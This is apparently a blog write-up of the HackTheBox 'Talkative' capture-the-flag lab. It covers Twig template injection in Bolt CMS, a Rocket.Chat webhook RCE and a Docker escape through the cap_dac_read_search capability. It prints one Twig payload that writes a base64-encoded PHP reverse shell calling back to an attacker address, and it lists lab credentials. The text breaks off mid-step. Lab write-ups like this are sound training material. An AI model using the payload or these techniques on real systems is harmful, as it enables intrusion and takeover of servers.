HackTheBox – Talkative Writeup - Damian Pajszczyk official website

Damian Pajszczyk

8 listopada, 2022

Uncategorized

HackTheBox – Talkative

Hey everyone! This is my writeup of HackTheBox Talkative which is hard difficulty Linux box.

Dealing with this box took me a lot of time since it involves a lot of steps. I don’t consider any of these steps as very hard since all the answers are quite easy to find in the google.

I really like complexity of this box especially: exploiting SSTI in the bolt CMS, using webhooks in rocketchat to perform RCE and the part of exploiting cap_dac_read_search container capability.

To my mind the most valuable thing this box teaches us is persistence in enumeration.

RECON:

nmap scan:

PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
80/tcp   open     http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://talkative.htb
|_http-server-header: Apache/2.4.52 (Debian)
3000/tcp open     ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: oQzJBQADrjkXusPer
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Mon, 24 Oct 2022 09:32:32 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
|     <meta charset="utf-8" />
|     <meta http-equiv="content-type" content="text/html; charset=utf-8" />
|     <meta http-equiv="expires" content="-1" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <meta name="fragment" content="!" />
|     <meta name="distribution" content="global" />
|     <meta name="rating" content="general" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
|     <meta name="mobile-web-app-capable" content="yes" />
|     <meta name="apple-mobile-web-app-capable" conten
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: oQzJBQADrjkXusPer
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Mon, 24 Oct 2022 09:32:33 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
|     <meta charset="utf-8" />
|     <meta http-equiv="content-type" content="text/html; charset=utf-8" />
|     <meta http-equiv="expires" content="-1" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <meta name="fragment" content="!" />
|     <meta name="distribution" content="global" />
|     <meta name="rating" content="general" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
|     <meta name="mobile-web-app-capable" content="yes" />
|     <meta name="apple-mobile-web-app-capable" conten
|   Help, NCP:
|_    HTTP/1.1 400 Bad Request
8080/tcp open     http    Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open     http    Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open     http    Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service

Service on port 80:

After adding talkative.htb to /etc/hosts file:

These are potential usernames:

janit@talkative.htb
saul@talkative.htb
matt@talkative.htb

Looking at the source code of the page we may find reference to previously found service on port 3000:

Another interesting thing found in the source code:

Since meta tag defines information about data it indicates that we can access talkative.htb/bolt :

Another interesting thing is rocketchat on port 3000:

In the source code of the rocketchat page I found version information:

It uses meteor of version 1.8.3 – https://github.com/meteor/meteor

I decided to create account:

We can see that Saul Goodman is an admin:

One of the possibilites here is to bypass upload restrictions to malicious avatar as php code.

Service on port 8080 is Jamovi:

Services on ports 8081 and 8082 return HTTP 404:

Foothold

Let’s back to Jamovi on port 8080.

After enumeration of Jamovi I found Analyses tab with Rj Editor and it looks like it can execute code.

I look for R language reverse shell code and I found:

I decided to try out payload:

It worked:

Enumeration indicates we’re in docker container:

Let’s check container capabilities:

There are capabilities which are considered as dangerous: cap_sys_chroot and cap_net_raw but I don’t think we’re able to abuse them here.

I decided to continue enumeration and look for interesting files. I found omv(zip) file in /root directory:

I found there is python3 zipfile library:

We can use that library to extract bolt-administration.omv file:

I moved extracted data to another directory:

xdata.json contains interesting data:

Here we have some potential credentials:

matt@talkative.htb:jeO09ufhWD<s
janit@talkative.htb:bZ89h}V<S_DA
saul@talkative.htb:)SQWGm>9KHEA

SSTI to RCE

I check if we can use these credentials to access bolt CMS:

None of the combination of username – password worked. I decided to try to use found passwords to access admin user and it worked:

During investigation of that service I found that is uses twig template:

Twig is template engine for php. This service may be vulnerable to SSTI.

We can find bolt version in down left corner:

Another interesting thing is that we can upload themes as .twig files:

We can also edit template files and modify page template:

I didn’t know which template is used at talkative.htb before I found this information:

It refers to base-2021 directory in the themes section.

I created custom page, set it’s template to record.twig. I edited record twig by putting there payload from payloadallthethings:

What is IFS?

The special shell variable IFS determines how Bash recognizes word boundaries while splitting a sequence of character strings. The default value of IFS is a three-character string comprising a space, tab, and newline.

I didn’t work at first. I wasn’t aware of the caching engine. I had to clean up the cache.

After clearing the cache we can see effects:

Nextly i wanted to check if I can ping myself:

I could not, but I found out few things – php code inserted directly into command make page reponse with 5xx error and pipes does not work.

Finally after some trials and errors i found solution:

Firsly i created php reverse shell command and encoded it in base64:

{{['echo PD9waHAgJHNvY2s9ZnNvY2tvcGVuKCIxMC4xMC4xNC45IiwxNjc3KTskcHJvYz1wcm9jX29wZW4oInNoIiwgYXJyYXkoMD0+JHNvY2ssIDE9PiRzb2NrLCAyPT4kc29jayksJHBpcGVzKTs/Pgo= > sthnew']|filter('system')}}{{['base64 -d sthnew > sthnew.php']|filter('system')}}

After adding this payload to twig file I could navigate to sthnew.php:

Shell as www-data (docker):

I decided to create another reverse shell connection:

I decided to upload linpeas. One of interesting things found by linpeas was bolt database:

I uploaded netcat on victim machine and downloaded bolt.sqlite file:

When we open bolt.sqlite we can see there is a lot of data:

It looks like that these passwords is hashed using Argon2 algorith – I don’t think we’re able to crack them.

I got back to linpeas scan and looked at host information:

It looks like we’are in another docker container. I check if this docker container has ssh since i tried to login by ssh using found credentials but according to nmap ssh is filtered.

This contaienr ip is 172.17.0.13, I assume that 172.17.0.1 is ip of the gateway.

Shell as saul

I tested previously found credentials for ssh and I logged in as user saul with password jeO09ufhWD<s

I got user flag:

When I got into main system I wanted enumerate other docker containers, I assumed we may find some valuable informations there or we could perform docker escape as root user.

Container of ip:172.17.02 has open port 27017. It’s default mongodb database port:

I knew that rocketchat uses mongodb. Let’s enumerate it:

If we want access adress 172.17.0.2:27017 we have to perform port forwarding. For that thing I will use chisel:

Our local adress 127.0.0.1:27017 navigates to 172.17.0.2:27017 on remote machine.

Now we can access mongodb and enumerate it:

Since this database is rocketchat database my aim is to access admin account. There are two ways to do this. First one is cracking admin hash, but I don’t think it’s possible according to found passwords complexity and used hasing algorithm(bcrypt). Second one is very simple – we can change admin password. For that i’ll use hash of account that I previously created.

Now we can see it worked, I could login as saul@talkative.htb:password123

CVE-2021-22911

I found that higher version of rocket chat is vulernable to NOSQL Injection leading to admin account compromise and RCE (using webhooks). Since we already have control over admin account we may try to perform remote code execution.

Before going into that i strongly reccomend reading this article:

https://blog.sonarsource.com/nosql-injections-in-rocket-chat/

It’s basically about abusing rocket.chat webhooks feature that will allow us to use vm module of Nose.js and execute js code.

Firsly I will try to create incoming Webhook and place reverse shell js payload into webhook script:

It didnit work – according to author of previously mentioned article the module of node.js we’re accessing by executing webhooks cannot access system resources, but there is a way to bypass that.

I’ll try payload from article:

Docker escape (cap_dac_read search capability). Shell as root

After executing webhook we got reverse shell:

We’re in!. Lets check container capabilities:

Two of found container capabilities caught my eye: cap_sys_chroot and cap_dac_read_search

According to linux manual cap_sys_chroot:

Ufortunately I didn’t get how to use cap_sys_chroot.

Let’s check cap_dac_read_search capability:

According to this article:

https://tbhaxor.com/container-breakout-part-2/
and this article:
https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3

If we have reference to anyone file outside the container we can open the handle of that file and traverse the entire file system of attacking machine. With this capability we can also update the file content.

Firsly i check if i have a reference file from the host system file by running mount command:

I downloaded shocker.c from second article. Then I modified it according to hints from the first article:

Nextly I compiled statically shocker.c and uploaded created binary file with cat command (there is no curl, wget and nc on this container):

Firsly I used it to read /etc/shadow file:

As we see the root password hash is hashed by sha512 so i think it’s rather no crackable. I also checked if root account has id_rsa but i found nothing.

I decided to modify root password in /etc/shadow file. Firstly I downloaded shadow file on my local machine and create hash for password 'password123′

Afterward I edited shadow file and replaced root hash with created one:

Nextly i uploaded this new shadow file.

Previous script enable us to read file as root from main filesystem. I found another script that enable us to override files in the main file system.

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

I compiled that script and uploaded it to victim machine. Nextly i run command:

It looked like it worked but when I could not log in as root.

I decided to modify /etc/passwd file. In the past passwords were stored in the /etc/passwd. I added new entry to retrieved /etc/passwd file that describes custom user with password and root privileges: